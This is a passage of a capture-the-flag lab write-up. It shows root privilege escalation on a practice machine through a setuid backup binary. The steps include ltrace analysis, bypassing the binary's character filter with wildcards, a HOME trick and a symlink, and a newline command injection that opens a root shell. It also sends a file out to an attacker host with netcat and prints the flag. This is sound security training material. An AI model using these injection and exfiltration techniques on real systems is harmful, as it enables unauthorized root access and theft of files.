3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110

It seems like there are 3 keys.

Lets create the same exact keys file in our local machine to for the program to run.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ cat /etc/myplace/keys 
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110

$ ltrace ./backup -q 2 3
__libc_start_main(0x80489fd, 4, 0xffe903b4, 0x80492c0 <unfinished ...>
geteuid()                                                               = 0
setuid(0)                                                               = 0
strcmp("-q", "-q")                                                      = 0
...
strcat("/etc/myplace/key", "s")                                         = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r")                                         = 0x8cb11a0
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x8cb11a0)           = 0xffe8fdff
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n")                    = 64
strcmp("2", "a01a6aa5aaf1d7729f35c8278daae30f"...)                      = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x8cb11a0)           = 0xffe8fdff
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n")                    = 64
strcmp("2", "45fac180e9eee72f4fd2d9386ea7033e"...)                      = -1
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x8cb11a0)           = 0xffe8fdff
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n")                    = 64
strcmp("2", "3de811f4ab2b7543eaf45df611c2dd25"...)                      = -1
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x8cb11a0)           = 0
exit(1 <no return ...>
+++ exited (status 1) +++

It seems like the program is trying to compare the second arguments to the strings in the keys file.

Now, what if I supplied 1 of the keys as the second argument?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ ltrace ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 3
__libc_start_main(0x80489fd, 4, 0xff871fb4, 0x80492c0 <unfinished ...>
geteuid()                                                               = 0
setuid(0)                                                               = 0
strcmp("-q", "-q")                                                      = 0
...
strcat("/etc/myplace/key", "s")                                         = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r")                                         = 0x9d9c1a0
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x9d9c1a0)           = 0xff8719ff
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n")                    = 64
strcmp("45fac180e9eee72f4fd2d9386ea7033e"..., "a01a6aa5aaf1d7729f35c8278daae30f"...) = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x9d9c1a0)           = 0xff8719ff
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n")                    = 64
strcmp("45fac180e9eee72f4fd2d9386ea7033e"..., "45fac180e9eee72f4fd2d9386ea7033e"...) = 0
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x9d9c1a0)           = 0xff8719ff
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n")                    = 64
strcmp("45fac180e9eee72f4fd2d9386ea7033e"..., "3de811f4ab2b7543eaf45df611c2dd25"...) = 1
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x9d9c1a0)           = 0
strstr("3", "..")                                                       = nil
strstr("3", "/root")                                                    = nil
strchr("3", ';')                                                        = nil
strchr("3", '&')                                                        = nil
strchr("3", '`')                                                        = nil
strchr("3", '$')                                                        = nil
strchr("3", '|')                                                        = nil
strstr("3", "//")                                                       = nil
strcmp("3", "/")                                                        = 1
strstr("3", "/etc")                                                     = nil
strcpy(0xff87180b, "3")                                                 = 0xff87180b
getpid()                                                                = 4426
time(0)                                                                 = 1653796388
clock(0, 0, 0, 0)                                                       = 5540
srand(0xac64594b, 0x688d931a, 0xac64594b, 0x804918c)                    = 0
rand(0, 0, 0, 0)                                                        = 0x54aedc7f
sprintf("/tmp/.backup_1420745855", "/tmp/.backup_%i", 1420745855)       = 23
sprintf("/usr/bin/zip -r -P magicword /tm"..., "/usr/bin/zip -r -P magicword %s "..., "/tmp/.backup_1420745855", "3") = 66
system("/usr/bin/zip -r -P magicword /tm"... <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                  = 3072
access("/tmp/.backup_1420745855", 0)                                    = -1
remove("/tmp/.backup_1420745855")                                       = -1
fclose(0x9d9c1a0)                                                       = 0
+++ exited (status 0) +++

The program seems to be checking for a directory path for the 3rd argument..

1
2
3
4
5
$ ltrace ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp
...
<Some Base64 encoded text here>
...
+++ exited (status 0) +++

Oh? It seems like there is a base64 output this time. Perhaps we are on the right track?

Lets test out the actual program on the netcat listener.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
tom@node:/usr/local/bin$ cd /tmp

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp > test

tom@node:/tmp$ cat test | base64 --decode > decoded   

tom@node:/tmp$ file decoded
decoded: Zip archive data, at least v1.0 to extract

tom@node:/tmp$ unzip decoded
Archive:  decoded
   creating: tmp/
   skipping: tmp/test                unable to get password
   creating: tmp/.Test-unix/
   creating: tmp/.XIM-unix/
   creating: tmp/vmware-root/
   creating: tmp/systemd-private-bf4be7c8a9db4aab9b2c4d4642af2f48-systemd-timesyncd.service-h09Jlq/
   creating: tmp/systemd-private-bf4be7c8a9db4aab9b2c4d4642af2f48-systemd-timesyncd.service-h09Jlq/tmp/
   creating: tmp/.X11-unix/
   creating: tmp/.ICE-unix/
   creating: tmp/.font-unix/

Great! It looks like the unzipped folder contains the files inside that directory that we specified.

Lets try grabbing the root folder!

1
2
3
4
5
6
7
8
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root > test2      

tom@node:/tmp$ cat test2 | base64 --decode > decoded2

tom@node:/tmp$ cat test2 
 [+] Finished! Encoded backup is below:

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==

It seems like we couldn’t decode the text because of [+] Finished! Encoded backup is below:.

Lets echo the base64 part to a new file instead.

1
2
3
4
5
6
7
tom@node:/tmp$ echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" > test2
tom@node:/tmp$ cat test2 | base64 --decode > decoded2
tom@node:/tmp$ file decoded2
decoded2: Zip archive data
tom@node:/tmp$ unzip decoded2
Archive:  decoded2
   skipping: root.txt                need PK compat. v5.1 (can do v4.6)

At this point, I keep getting the error that we couldn’t unzip the file.

A quick Google search shows that we need to use 7z instead.

So, I decided to transfer the file to my local machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
- Netcat Listener -
tom@node:/tmp$ nc 10.10.14.6 1234 < decoded2
nc 10.10.14.6 1234 < decoded2

- Local Terminal -
$ nc -nlvp 1234 > decoded2
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.58] 52194

$ 7z x decoded2
...
Enter password (will not be echoed):magicword
Everything is Ok
...

$ cat root.txt         
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____.  -~""??9VWQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ
QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ
QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ
QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ
QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ
QQQQQQQP'.yQQQQQQQQQQQP"       <wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ
QQQQQP'_a.<aamQQQW!<yF "!` ..  "??$Qa "WQQQWTVP'    "??' =QQmWWV?46/ ?QQQQQ
QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ
QQ[ j@mQP'adQQP4ga, -????" <jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"`  -?QzQ7L ]QQQ
QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa   .QP4QQQQfWkl jQQQ
QE ]QkQk $D?`  waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ
QQ,-Qm4Q/-QmQ6 "WWQma/  "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@  "QW@?$:.yQQQQ
QQm/-4wTQgQWQQ,  ?4WWk 4waac -???$waQQQQQQQQF??'<mWWWWWQW?^  ` ]6QQ' yQQQQQ
QQQQw,-?QmWQQQQw  a,    ?QWWQQQw _.  "????9VWaamQWV???"  a j/  ]QQf jQQQQQQ
QQQQQQw,"4QQQQQQm,-$Qa     ???4F jQQQQQwc <aaas _aaaaa 4QW ]E  )WQ`=QQQQQQQ
QQQQQQWQ/ $QQQQQQQa ?H ]Wwa,     ???9WWWh dQWWW,=QWWU?  ?!     )WQ ]QQQQQQQ
QQQQQQQQQc-QWQQQQQW6,  QWQWQQQk <c                             jWQ ]QQQQQQQ
QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,.,                . .; QWQ.]QQQQQQQ
QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ
QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ
QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,,    --~-- ---  . _ssawmQQQQQQk 3QQQQWQ
QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ
QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV}<wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ
QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ
QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW
QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,.  -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ
QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ
QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ

The password magicword we found works for this zip file.

Ahh.. We got trolled.

Wildcard Method

Then I realised it’s because some strings and characters are being filtered out when we run ltrace on the program.

Lets try applying some wildcards while executing the program. OwO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt > test3

tom@node:/tmp$ cat test3 | base64 --decode > decoded3

tom@node:/tmp$ file decoded3
decoded3: Zip archive data, at least v1.0 to extract

tom@node:/tmp$ unzip decoded3
Archive:  decoded3
   skipping: root/root.txt           unable to get password

tom@node:/tmp$ unzip -P magicword decoded3
Archive:  decoded3
 extracting: root/root.txt           

tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0

Home Variable

As the ~ character is not being filtered, we can set the $HOME variable to be /root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tom@node:/tmp$ export HOME=/root

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "~" > test

tom@node:/tmp$ cat test | base64 --decode > decoded

tom@node:/tmp$ unzip -P magicword decoded
Archive:  decoded
   creating: root/
  inflating: root/.profile           
  inflating: root/.bash_history      
   creating: root/.cache/
 extracting: root/.cache/motd.legal-displayed  
 extracting: root/root.txt           
  inflating: root/.bashrc            
  inflating: root/.viminfo           
   creating: root/.nano/
 extracting: root/.nano/search_history  
tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0

We can also create a symbolic link to a file that points to /root/root.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
tom@node:/tmp$ mkdir tmpdir
tom@node:/tmp$ cd tmpdir
tom@node:/tmp/tmpdir$ ln -s /root/root.txt test

tom@node:/tmp/tmpdir$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/tmpdir 
      
UEsDBAoAAAAAAFwxvVQAAAAAAAAAAAAAAAALABwAdG1wL3RtcGRpci9VVAkAA2AAk2J6AJNidXgLAAEE6AMAAAToAwAAUEsDBAoACQAAANR9I0vyjjdALQAAACEAAAAPABwAdG1wL3RtcGRpci90ZXN0VVQJAAPQFaxZPvySYnV4CwABBAAAAAAEAAAAAI1BvUsO3jJJELsmf30JA7nNVaAloxJ/SqKI1gqV4VXFySr0DxndoNH4jLsSSFBLBwjyjjdALQAAACEAAABQSwECHgMKAAAAAABcMb1UAAAAAAAAAAAAAAAACwAYAAAAAAAAABAA7UEAAAAAdG1wL3RtcGRpci9VVAUAA2AAk2J1eAsAAQToAwAABOgDAABQSwECHgMKAAkAAADUfSNL8o43QC0AAAAhAAAADwAYAAAAAAABAAAAoIFFAAAAdG1wL3RtcGRpci90ZXN0VVQFAAPQFaxZdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAACAAIApgAAAMsAAAAAAA==

tom@node:/tmp/tmpdir$ echo "UEsDBAoAAAAAAFwxvVQAAAAAAAAAAAAAAAALABwAdG1wL3RtcGRpci9VVAkAA2AAk2J6AJNidXgLAAEE6AMAAAToAwAAUEsDBAoACQAAANR9I0vyjjdALQAAACEAAAAPABwAdG1wL3RtcGRpci90ZXN0VVQJAAPQFaxZPvySYnV4CwABBAAAAAAEAAAAAI1BvUsO3jJJELsmf30JA7nNVaAloxJ/SqKI1gqV4VXFySr0DxndoNH4jLsSSFBLBwjyjjdALQAAACEAAABQSwECHgMKAAAAAABcMb1UAAAAAAAAAAAAAAAACwAYAAAAAAAAABAA7UEAAAAAdG1wL3RtcGRpci9VVAUAA2AAk2J1eAsAAQToAwAABOgDAABQSwECHgMKAAkAAADUfSNL8o43QC0AAAAhAAAADwAYAAAAAAABAAAAoIFFAAAAdG1wL3RtcGRpci90ZXN0VVQFAAPQFaxZdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAACAAIApgAAAMsAAAAAAA==" | base64 --decode > decoded    

tom@node:/tmp/tmpdir$ unzip -P magicword decoded
Archive:  decoded
   creating: tmp/tmpdir/
 extracting: tmp/tmpdir/test   
tom@node:/tmp/tmpdir$ cat tmp/tmpdir/test
cat tmp/tmpdir/test
1722e99ca5f353b362556a62bd5e6be0

Command Injection

Recall that ltrace showed us this system call:

1
system("/usr/bin/zip -r -P magicword /tm"... <no return ...>

Since we cannot use ; to execute multiple commands in the system call, we could use a newline to do so.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
tom@node:/tmp$ newline=$'\n'

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "shiro${newline}/bin/bash${newline}shiro"
         
	zip warning: name not matched: shiro

zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_1492681799 . -i shiro)
whoami
root
cat /root/root.txt
1722e99ca5f353b362556a62bd5e6be0

OR

tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf 'shiro\n/bin/bash\nshiro')"
             
	zip warning: name not matched: shiro

zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_1348659861 . -i shiro)
whoami
root
cat /root/root.txt
1722e99ca5f353b362556a62bd5e6be0
This post is licensed under CC BY 4.0 by the author.